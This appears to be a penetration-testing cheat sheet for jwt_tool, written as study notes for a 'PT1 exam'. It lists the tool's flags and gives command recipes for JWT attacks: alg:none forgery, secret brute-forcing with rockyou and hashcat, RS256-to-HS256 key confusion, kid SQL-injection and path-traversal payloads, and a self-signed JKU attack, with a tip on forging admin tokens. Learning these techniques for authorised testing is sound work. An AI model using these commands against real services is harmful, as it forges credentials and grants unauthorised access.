☼
⌃
☰

jwttool

Table of Contents

Dedicated JWT attack and analysis tool. Automates all common JWT attack classes — none algorithm, signature bypass, brute force, algorithm confusion, and header injection. Primary tool for JWT testing on the PT1 exam.

Related: JSON Web Tokens Insecure Authentication Mechanism Hashcat

Installation

SHELL
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install termcolor cprint pycryptodomex requests --break-system-packages

Core Flags

Flag Description
-T Tamper mode — interactive payload editor
-X a Attack: alg:none
-X s Attack: self-signed JKU
-X k Attack: key confusion (RS256 → HS256)
-X b Attack: blank password
-C Crack mode — brute force secret
-d Dictionary file for cracking
-S hs256 Sign with HS256 after tampering
-p Provide secret / key for signing
-pk Public key file (for confusion attack)
-t Target URL for automated testing
-rc Request cookies
-rh Request headers
-v Verbose output

Common Workflows

Decode and Inspect

SHELL
python3 jwt_tool.py <token>

Tamper Payload Interactively

SHELL
# Opens editor to modify any claim
python3 jwt_tool.py <token> -T

# Then resign with known secret
python3 jwt_tool.py <token> -T -S hs256 -p "secret"

Algorithm None Attack

SHELL
python3 jwt_tool.py <token> -X a
# Outputs token with alg:none and empty signature
# Test all variants — some apps check for "none", "None", "NONE"

Brute Force Secret (HS256)

SHELL
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt

# Also run with hashcat for speed (mode 16500)
hashcat -m 16500 <token> /usr/share/wordlists/rockyou.txt

Algorithm Confusion (RS256 → HS256)

SHELL
# Requires public key — get from /.well-known/jwks.json or TLS cert
python3 jwt_tool.py <token> -X k -pk public.pem

kid SQL Injection

SHELL
# Tamper kid to inject SQL or path traversal
python3 jwt_tool.py <token> -T   # set kid to: ' UNION SELECT 'secret'--
# Sign with the value the SQL returns
python3 jwt_tool.py <token> -T -S hs256 -p "secret"

# kid path traversal — sign with empty string (key = /dev/null)
python3 jwt_tool.py <token> -T   # set kid to: ../../dev/null
python3 jwt_tool.py <token> -S hs256 -p ""

Self-Signed JKU Attack

SHELL
# Hosts malicious JWKS and signs with attacker key
python3 jwt_tool.py <token> -X s
# Follow prompts — tool generates key pair and JWKS automatically

Automated Scan Against Target

SHELL
python3 jwt_tool.py <token> -t https://$TARGET/api/profile \
  -rh "Authorization: Bearer JWT"

Tips

  • Always decode first to understand the structure before attacking
  • Try -X a before anything else — fastest test, high yield
  • After cracking with -C, use -T -S hs256 -p <secret> to forge an admin token — confirm the secret works before reporting
  • The tool outputs multiple alg:none variants automatically — test all of them, servers check case-sensitively